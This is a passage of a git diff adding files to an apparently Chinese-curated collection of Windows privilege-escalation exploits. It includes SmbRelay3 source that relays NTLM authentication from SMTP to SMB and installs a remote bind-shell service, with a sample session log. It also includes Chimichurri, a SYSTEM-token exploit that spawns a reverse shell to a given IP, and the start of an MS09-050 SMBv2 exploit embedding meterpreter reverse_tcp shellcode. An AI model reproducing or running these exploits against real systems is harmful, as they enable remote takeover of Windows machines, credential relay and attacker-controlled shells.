DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if (i<=0){ + printf("[-] Error. Unable to create Remote Service \n"); + return(0); + } + + len=OpenServiceWStub(data,(char*)ContextHandle,"SmbRelay", SERVICE_START); + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,OPENSERVICEW,data,len); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + printf("[+] Opening Remote Service \r"); + if (verbose) + { + printf("\n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + i=SendBytesAndWaitForResponse(relay.destination,(char*)packet, SmbPacketLen(packet),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(packet); + if ((i<=0) || (((smheader*)buf)->NtStatus!=0x00000000) ){ + printf("[-] Error. Unable to Open Remote service \n"); + return(0); + } + + memcpy((char*)ContextHandle,buf+i-24,20); + + + packet=BuildSmbPacket((smheader*)buf,SMB_COM_TRANSACTION,STARTSERVICE,ContextHandle, 20 + 8); + ((SMB_COM_TRANSACTION_STRUCT*)packet->buffer)->FID=FID; + printf("[+] Starting Remote Service... \r"); + if (verbose) + { + printf("\n"); + if (debug) DumpMem((char*)packet,SmbPacketLen(packet)); + } + send(relay.destination, (char*)packet, SmbPacketLen(packet),0) ; + free(packet); + Sleep(1000); + printf("[+] *** Remote SmbRelay3 BindShell Service Running ***: (%s:%i)\n\n",relay.hostname,8080); + + Sleep(3000); + return(1); +} + + +/*********************************************/ + + +int main(int argc, char* argv[]) { + +#ifdef WIN32 + WSADATA ws; +#endif + int i; + RELAY relay; + int srcProtocol; + int dstProtocol= REPLAY_SMB; + Banner(); +#ifdef WIN32 + if (WSAStartup( MAKEWORD(2,2), &ws )!=0) { + exit(0); + } +#endif + + + if (argc==1) { usage(); } + + for (i=1;ismbrelay3.exe --ListForSMTPRequests +SmbRelay3 - SMB to SMB and HTTP to SMB replay attack + (c) 2007 - 2008 Andres Tarasco - atarasco@gmail.com + Website: http://www.tarasco.org + +[+] Accepted Connection - Replaying against 192.168.47.128 +[+] Sending SMTP Banner +[+] Answering EHLO command with an AUTH NTLM parameter +[+] received AUTH NTLM message +[+] Sending SMB Protocol Authentication Handshake +[+] Received SMB Message with NTLM message type 2 packet +[+] Replaying NTLM Challenge from SMB Server to the SMTP Client +[+] Trying to authenticate to remote SMB as Administrador +[+] Sending Final SMB Authentication packet with NTLM Message type 3 +[+] SessionSetupAndX Completed +[+] Authenticacion against 192.168.47.128 Succeed with username Administrador +[+] *** Remote SmbRelay3 BindShell Service Running ***: (192.168.47.128:8080) + +C:\smbrelay>nc 192.168.47.128 8080 +Microsoft Windows 2000 [Versin 5.00.2195] +(C) Copyright 1985-2000 Microsoft Corp. + +C:\WINNT\system32> + +*/ + + +#include "smtprelay.h" +#include "payload.h" + +extern int verbose; + +int HandleIncommingSMTPRequest(RELAY *relay, char *destinationhostname, int destinationport) +{ + char buffer[4096]; + char buf[4096]; + char buf1[4096]; + char buf2[4096]; + + char CurrentUserName[256]; + char CurrentDomain[256]; + char CurrentWorkstation[256]; + smheader *SmbPacket1, *SmbPacket2, *SmbPacket3, *NegotiateProtocol; + tSmbNtlmAuthRequest *request; + + uint16 packetlen; + int i; + char *p; + const char WelcomeMessage[]= "220 Microsoft ESMTP MAIL Service ready\n"; + const char AUTHMessage[]= "250-server.example.com Hello [10.10.2.20]\r\n250 AUTH NTLM\r\n"; + + printf("[+] Sending SMTP Banner\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)WelcomeMessage, (int)strlen(WelcomeMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("Error Reading EHLO message\n"); + return(0); + } + printf("[+] Answering EHLO command with an AUTH NTLM parameter\n"); + memset(buffer,'\0',sizeof(buffer)); + i=SendBytesAndWaitForResponse(relay->source,(char*)AUTHMessage, (int)strlen(AUTHMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error reading client AUTH NTLM message\n"); + return(0); + } + if (memcmp(buffer,"AUTH NTLM",9)!=0) { + printf("[-] AUTH NTLM packet not received from client\n"); + i=SendBytesAndWaitForResponse(relay->source,(char*)"504 Unrecognized authentication type.\r\n", (int)39, buffer,sizeof(buffer),SMBWAITTIMEOUT); + return(0); + } + if (strlen(buffer)>12) { + printf("[+] received AUTH NTLM message\n"); + + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer+12); + request=(tSmbNtlmAuthRequest *)buf1; + dumpAuthRequest(0,request); + } else { + memset(buffer,'\0',sizeof(buffer)); + i=SendBytesAndWaitForResponse(relay->source,(char*)"334 NTLM Auth allowed\r\n", (int)23, buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error Auth response with NTLM type1 packet\n"); + return(0); + } + printf("[+] received AUTH NTLM message\n"); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer); + request=(tSmbNtlmAuthRequest *)buf1; + + if (debug) { + printf("[+] received AUTH NTLM message: %s\n",buffer); + DumpMem(buf1,packetlen); + dumpAuthRequest(0,request); + } + } + + + //Init Replay Attack + i=ConnectToRemoteHost(relay,destinationhostname,destinationport); + if (!i) { + printf("[-] Unable to connect to remote host %s:%i\n",destinationhostname,destinationport); + return(0); + } + printf("[+] Sending SMB Protocol Authentication Handshake\n"); + p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i); + p = AddDialect(p,"LANMAN1.0", 0x02,&i); + p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i); + p = AddDialect(p,"LM1.2X002", 0x02,&i); + p = AddDialect(p,"LANMAN2.1", 0x02,&i); + p = AddDialect(p,"NT LM 0.12", 0x02,&i); + NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i); + free(p); + i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + free(NegotiateProtocol); + if (i<=0){ + printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n"); + return(0); + } + + SmbPacket1=BuildSmbPacket1(); + if (debug) { + printf("\n[+] Dumping SMB Packet With NTLM Message Type 1\n"); + DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1)); + } + + SmbPacket2=GetSmbPacket2(relay,SmbPacket1); + if (SmbPacket2==NULL) { + printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n"); + return(0); + } + printf("[+] Received SMB Message with NTLM message type 2 packet\n"); + memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2); + + if (debug) { + printf("[*] SMB Packet Dump:\n"); + DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2)); + printf("[*] NTLM Challenge packet from SMB message\n"); + DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen); + dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2)); + } + + ((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xb207; + memset(buf1,'\0',sizeof(buf1)); + to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen); + sprintf(buf,"334 %s\r\n",buf1); + + printf("[+] Replaying NTLM Challenge from SMB Server to the SMTP Client\n"); + if (debug) + { + printf("[+] Sending SMTP Response: %s\n",buf); + } + i=SendBytesAndWaitForResponse(relay->source,(char*)buf,(int)strlen(buf),(char*)buffer,sizeof(buffer),SMBWAITTIMEOUT); + if (i<=0) + { + printf("[-] Unable to read NTLM packet 3 from smtp client\n"); + return(0); + } + buffer[i]='\0'; + + if (debug) printf("[*] Response: %s\n",buffer); + memset((char*)&buf1,'\0',sizeof(buf1)); + packetlen=from64tobits(buf1, buffer); + if (debug) { + + printf("[*] Raw authorization packet (len: %i)\n",packetlen); + DumpMem(buf1,packetlen); + dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1); + } + + + GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose); + printf("[+] Trying to authenticate to remote SMB as %s\n",CurrentUserName); + buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1); + SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2)); + + + printf("[+] Sending Final SMB Authentication packet with NTLM Message type 3\n"); + if (debug) + { + DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3)); + } + + i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT); + if (i<=0){ + printf("[-] Error reading Server Authentication Response\n"); + return(0); + } + if (debug) { + printf("[*] SessionSetupAndX Completed - Dumping received packet\n"); + DumpMem(buf,i); + } + + if (((smheader*)buf)->NtStatus!=0x00000000) { + printf("[-] SessionSetupAndX Completed\n[-] Authentication against Remote Host Failed\n"); + return(0); + } + if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 ) + { + printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n"); + + return(0); + } + + //WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData); + + printf("[+] SessionSetupAndX Completed \n"); + printf("[+] Authenticacion against %s Succeed with username %s\n",destinationhostname,CurrentUserName); + + ExecuteCode( *relay); + + + + + + + return(0); + +} + diff --git a/97-Windows提权/MS08-068/src/smtprelay.h b/97-Windows提权/MS08-068/src/smtprelay.h new file mode 100644 index 0000000..0582b4e --- /dev/null +++ b/97-Windows提权/MS08-068/src/smtprelay.h @@ -0,0 +1,9 @@ +#ifndef _SMTP_RELAY_ +#define _SMTP_RELAY_ + +#include "smbrelay.h" + +int HandleIncommingSMTPRequest(RELAY *relay, char *destinationhostname,int destinationport); + +#endif + diff --git a/97-Windows提权/MS09-012/Chimichurri/Chimichurri.cpp b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.cpp new file mode 100644 index 0000000..2a71b2c --- /dev/null +++ b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.cpp @@ -0,0 +1,165 @@ + +// Chimichurri -> Windows 2008 R1 & R2, Windows Vista and Windows 7 exploit +// by Cesar Cerrudo +// Argeniss - Information Security & Software + +// Notes: +// -Must be run by a user with impersonation and asgin primary token privileges, it can be used on IIS 7 & 7.5, SQL Server or other Windows services. +// -Chimichurri is an argentinian sauce used on asado and churrasco, the exploit name was an idea of Federico Kirschbaun, thanks Federico. + +#include "stdafx.h" + +DWORD dwPort; +LPSTR sIP; + + +DWORD SpawnReverseShell(HANDLE hToken, DWORD dwPort,LPSTR sIP) +{ + HANDLE hToken2,hTokenTmp; + PROCESS_INFORMATION pInfo; + STARTUPINFO sInfo; + WSADATA wd; + SOCKET sock; + struct sockaddr_in sin; + int size = sizeof(sin); + + memset(&sin, 0, sizeof(sin)); + WSAStartup(MAKEWORD( 1, 1 ), &wd); + sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); + sin.sin_family = AF_INET; + bind(sock, (struct sockaddr*)&sin, size); + sin.sin_port = htons(dwPort); + sin.sin_addr.s_addr = inet_addr(sIP); + + DWORD dwRes=connect(sock, (struct sockaddr*)&sin, size); + + if (dwRes!=0){ + printf ("/Chimichurri/-->Could not connect to %s
",sIP); + return 0; + } + + ZeroMemory(&sInfo, sizeof(STARTUPINFO)); + ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION)); + sInfo.cb= sizeof(STARTUPINFO); + sInfo.lpDesktop= "WinSta0\\Default"; //so we don't have to wait on the process + + sInfo.dwFlags = STARTF_USESTDHANDLES; + sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError =(HANDLE) sock; + + hTokenTmp=hToken; + + DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ; + + LPTSTR lpComspec; + lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR)); + GetEnvironmentVariable("comspec",lpComspec,1024);//it won't work if cmd.exe used as commandline param + + dwRes=CreateProcessAsUser(hToken2, lpComspec ,NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo); + + CloseHandle(hTokenTmp); + CloseHandle(hToken2); + + return dwRes; + +} + +bool SetRegistryValues(bool on) +{ + HKEY hKey; + char a[]="\\\\localhost\\pipe\\x"; + char b[]="%windir%\\tracing"; + char *x=a; + DWORD y=1,dwsize=strlen(a)+1; + bool result=false; + + if(!on){ + x=b; + y=0; + dwsize=strlen(b)+1; + } + + if( RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Tracing\\IpHlpSvc"),NULL,KEY_SET_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS ) + { + if (RegSetValueEx(hKey,"FileDirectory",NULL,REG_EXPAND_SZ,(PBYTE)x,dwsize)== ERROR_SUCCESS ) + { + if (RegSetValueEx(hKey,"EnableFileTracing",NULL,REG_DWORD,(PBYTE)&y,sizeof(DWORD))== ERROR_SUCCESS ) + { + result=true; + } + } + RegCloseKey(hKey); + } + + return result; +} + +DWORD WINAPI ThreadProc(LPVOID lpParameter){ + + char szPipe[]= "\\\\.\\pipe\\x\\IpHlpSvc.log"; + + HANDLE hPipe = 0,hToken=0; + hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); + if (!hPipe) { + printf ("/Chimichurri/-->Couldn't create pipe
"); + SetEvent(*((HANDLE *)lpParameter)); + return 0; + } + + ConnectNamedPipe (hPipe, NULL); + + if (!ImpersonateNamedPipeClient (hPipe)) { + printf ("/Chimichurri/-->Error impersonating pipe
"); + CloseHandle(hPipe); + SetEvent(*((HANDLE *)lpParameter)); + return 0; + } + + + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) { + printf ("/Chimichurri/-->Couldn't get token
"); + SetEvent(*((HANDLE *)lpParameter)); + return 0; + } + CloseHandle(hPipe); + + printf ("/Chimichurri/-->Got SYSTEM token...
"); + printf ("/Chimichurri/-->Running reverse shell...
"); + + SpawnReverseShell(hToken,dwPort,sIP); + + SetEvent(*((HANDLE *)lpParameter)); + return 1; +} + +int _tmain(int argc, _TCHAR* argv[]) +{ + DWORD lpThreadId; + + printf ("/Chimichurri/-->This exploit gives you a Local System shell
"); + + if (argc != 3) { + printf ("/Chimichurri/-->Usage: Chimichurri.exe ipaddress port
"); + return 0; + } + + sIP= argv[1]; + dwPort= atoi(argv[2]); + + HANDLE hEvent=CreateEvent(NULL,false,false,NULL); + + CreateThread(NULL,NULL,ThreadProc,&hEvent,NULL,&lpThreadId); + + printf ("/Chimichurri/-->Changing registry values...
"); + if (!SetRegistryValues(true)) { + printf ("/Chimichurri/-->Couldn't set registry values
"); + return 0; + } + + WaitForSingleObject(hEvent,INFINITE); + + printf ("/Chimichurri/-->Restoring default registry values...
"); + SetRegistryValues(false); + + return 0; +} + diff --git a/97-Windows提权/MS09-012/Chimichurri/Chimichurri.ncb b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.ncb new file mode 100644 index 0000000..c425113 Binary files /dev/null and b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.ncb differ diff --git a/97-Windows提权/MS09-012/Chimichurri/Chimichurri.sln b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.sln new file mode 100644 index 0000000..f79e446 --- /dev/null +++ b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.sln @@ -0,0 +1,21 @@ +Microsoft Visual Studio Solution File, Format Version 8.00 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Chimichurri", "Chimichurri.vcproj", "{94A3EC47-DAA8-4CBD-8E65-4923F764C659}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfiguration) = preSolution + Debug = Debug + Release = Release + EndGlobalSection + GlobalSection(ProjectConfiguration) = postSolution + {94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Debug.ActiveCfg = Debug|Win32 + {94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Debug.Build.0 = Debug|Win32 + {94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Release.ActiveCfg = Release|Win32 + {94A3EC47-DAA8-4CBD-8E65-4923F764C659}.Release.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + EndGlobalSection + GlobalSection(ExtensibilityAddIns) = postSolution + EndGlobalSection +EndGlobal diff --git a/97-Windows提权/MS09-012/Chimichurri/Chimichurri.suo b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.suo new file mode 100644 index 0000000..8649c9a Binary files /dev/null and b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.suo differ diff --git a/97-Windows提权/MS09-012/Chimichurri/Chimichurri.vcproj b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.vcproj new file mode 100644 index 0000000..300c567 --- /dev/null +++ b/97-Windows提权/MS09-012/Chimichurri/Chimichurri.vcproj @@ -0,0 +1,154 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/97-Windows提权/MS09-012/Chimichurri/ReadMe.txt b/97-Windows提权/MS09-012/Chimichurri/ReadMe.txt new file mode 100644 index 0000000..39c864a --- /dev/null +++ b/97-Windows提权/MS09-012/Chimichurri/ReadMe.txt @@ -0,0 +1,32 @@ +======================================================================== + CONSOLE APPLICATION : Uroboros2 Project Overview +======================================================================== + +AppWizard has created this Uroboros2 application for you. +This file contains a summary of what you will find in each of the files that +make up your Uroboros2 application. + + +Uroboros2.vcproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +Uroboros2.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named Uroboros2.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/97-Windows提权/MS09-012/Chimichurri/stdafx.cpp b/97-Windows提权/MS09-012/Chimichurri/stdafx.cpp new file mode 100644 index 0000000..781fb8c --- /dev/null +++ b/97-Windows提权/MS09-012/Chimichurri/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// Uroboros2.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/97-Windows提权/MS09-012/Chimichurri/stdafx.h b/97-Windows提权/MS09-012/Chimichurri/stdafx.h new file mode 100644 index 0000000..2f14b1f --- /dev/null +++ b/97-Windows提权/MS09-012/Chimichurri/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once +#include +#include +#include + +// TODO: reference additional headers your program requires here diff --git a/97-Windows提权/MS09-012/Churraskito-source.zip b/97-Windows提权/MS09-012/Churraskito-source.zip new file mode 100644 index 0000000..643c30e Binary files /dev/null and b/97-Windows提权/MS09-012/Churraskito-source.zip differ diff --git a/97-Windows提权/MS09-012/MS09-012KB952004-CVE-2009-0079-烤肉Churrasco.rar b/97-Windows提权/MS09-012/MS09-012KB952004-CVE-2009-0079-烤肉Churrasco.rar new file mode 100644 index 0000000..17b8ff9 Binary files /dev/null and b/97-Windows提权/MS09-012/MS09-012KB952004-CVE-2009-0079-烤肉Churrasco.rar differ diff --git a/97-Windows提权/MS09-012/README.md b/97-Windows提权/MS09-012/README.md new file mode 100644 index 0000000..681fd31 --- /dev/null +++ b/97-Windows提权/MS09-012/README.md @@ -0,0 +1,22 @@ +# MS09-012 + +MS09-012 + + +Vulnerability reference: + * [MS09-012](https://technet.microsoft.com/library/security/ms09-012) + * [CVE-2009-0079](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0079) + +## Usage +``` +/xxoo/-->Usage: pr.exe command +``` +![pr](pr.png) +![churrasco](churrasco.png) + +## References +[Token Kidnapping's Revenge](https://media.blackhat.com/bh-us-10/whitepapers/Cerrudo/BlackHat-USA-2010-Cerrudo-Toke-Kidnapping's-Revenge-wp.pdf) + +## Thanks +thanks for ***sam rou*** + diff --git a/97-Windows提权/MS09-012/churrasco.png b/97-Windows提权/MS09-012/churrasco.png new file mode 100644 index 0000000..b107c62 Binary files /dev/null and b/97-Windows提权/MS09-012/churrasco.png differ diff --git a/97-Windows提权/MS09-012/pr.exe b/97-Windows提权/MS09-012/pr.exe new file mode 100644 index 0000000..bda7a4a Binary files /dev/null and b/97-Windows提权/MS09-012/pr.exe differ diff --git a/97-Windows提权/MS09-012/pr.png b/97-Windows提权/MS09-012/pr.png new file mode 100644 index 0000000..15400a4 Binary files /dev/null and b/97-Windows提权/MS09-012/pr.png differ diff --git a/97-Windows提权/MS09-020/MS09-020-KB970483-CVE-2009-1535-IIS6.zip b/97-Windows提权/MS09-020/MS09-020-KB970483-CVE-2009-1535-IIS6.zip new file mode 100644 index 0000000..195cbe3 Binary files /dev/null and b/97-Windows提权/MS09-020/MS09-020-KB970483-CVE-2009-1535-IIS6.zip differ diff --git a/97-Windows提权/MS09-020/README.md b/97-Windows提权/MS09-020/README.md new file mode 100644 index 0000000..be16aaa --- /dev/null +++ b/97-Windows提权/MS09-020/README.md @@ -0,0 +1,36 @@ +# MS09-020 +``` +The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, +and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI, +as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder, +aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122. +``` + +Vulnerability reference: + * [MS09-020](https://technet.microsoft.com/library/security/ms09-020) + * [CVE-2009-1535](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535) + +Usage: +``` +iis6.0.exe command +``` +![iis6](iis6.0.png) + +## load the module within the Metasploit +[msf judgment](https://www.rapid7.com/db/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass) +``` +msf > use auxiliary/scanner/http/dir_webdav_unicode_bypass +msf auxiliary(dir_webdav_unicode_bypass) > show actions + ...actions... +msf auxiliary(dir_webdav_unicode_bypass) > set ACTION +msf auxiliary(dir_webdav_unicode_bypass) > show options + ...show and set options... +msf auxiliary(dir_webdav_unicode_bypass) > run +``` +``` +msf auxiliary(webdav_scanner) > run + +[+] 192.168.16.136 (Microsoft-IIS/6.0) has WEBDAV ENABLED +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/97-Windows提权/MS09-020/iis6.0.png b/97-Windows提权/MS09-020/iis6.0.png new file mode 100644 index 0000000..2ec7173 Binary files /dev/null and b/97-Windows提权/MS09-020/iis6.0.png differ diff --git a/97-Windows提权/MS09-050/40280.py b/97-Windows提权/MS09-050/40280.py new file mode 100644 index 0000000..872a556 --- /dev/null +++ b/97-Windows提权/MS09-050/40280.py @@ -0,0 +1,110 @@ +# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py + +#!/usr/bin/python +#This module depends on the linux command line program smbclient. +#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python. +#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter. +import tempfile +import sys +import subprocess +from socket import socket +from time import sleep +from smb.SMBConnection import SMBConnection + + +try: + + target = sys.argv[1] +except IndexError: + print '\nUsage: %s \n' % sys.argv[0] + print 'Example: MS36299.py 192.168.1.1 1\n' + sys.exit(-1) + +#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -f python +shell = "" +shell += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" #fce8820000006089e531c0648b +shell += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" +shell += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" +shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" +shell += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" +shell += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" +shell += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" +shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" +shell += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" +shell += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" +shell += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" +shell += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" +shell += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" +shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01" +shell += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" +shell += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" +shell += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" +shell += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" +shell += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" +shell += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" +shell += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" +shell += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" +shell += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" +shell += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" +shell += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0" +shell += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +shell += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00" +shell += "\x53\xff\xd5" + + + +host = target, 445 + +buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42" +buff+="\x72\x00\x00\x00\x00\x18\x53\xc8" +buff+="\x17\x02" #high process ID +buff+="\x00\xe9\x58\x01\x00\x00" +buff+="\x00\x00\x00\x00\x00\x00\x00\x00" +buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02" +buff+="\x04\x0d\xdf\xff"*25 +buff+="\x00\x02\x53\x4d" +buff+="\x42\x20\x32\x2e\x30\x30\x32\x00" +buff+="\x00\x00\x00\x00"*37 +buff+="\xff\xff\xff\xff"*2 +buff+="\x42\x42\x42\x42"*7 +buff+="\xb4\xff\xff\x3f" #magic index +buff+="\x41\x41\x41\x41"*6 +buff+="\x09\x0d\xd0\xff" #return address + +#stager_sysenter_hook from metasploit + +buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01" +buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d" +buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9" +buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4" +buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a" +buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00" +buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24" +buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10" +buff+="\x68\x76\x01\x00\x00\x59\x89\xd8" +buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31" +buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb" +buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d" +buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00" +buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10" +buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0" +buff+="\x83\xc2\x04\x81\x22\xff\xff\xff" +buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff" 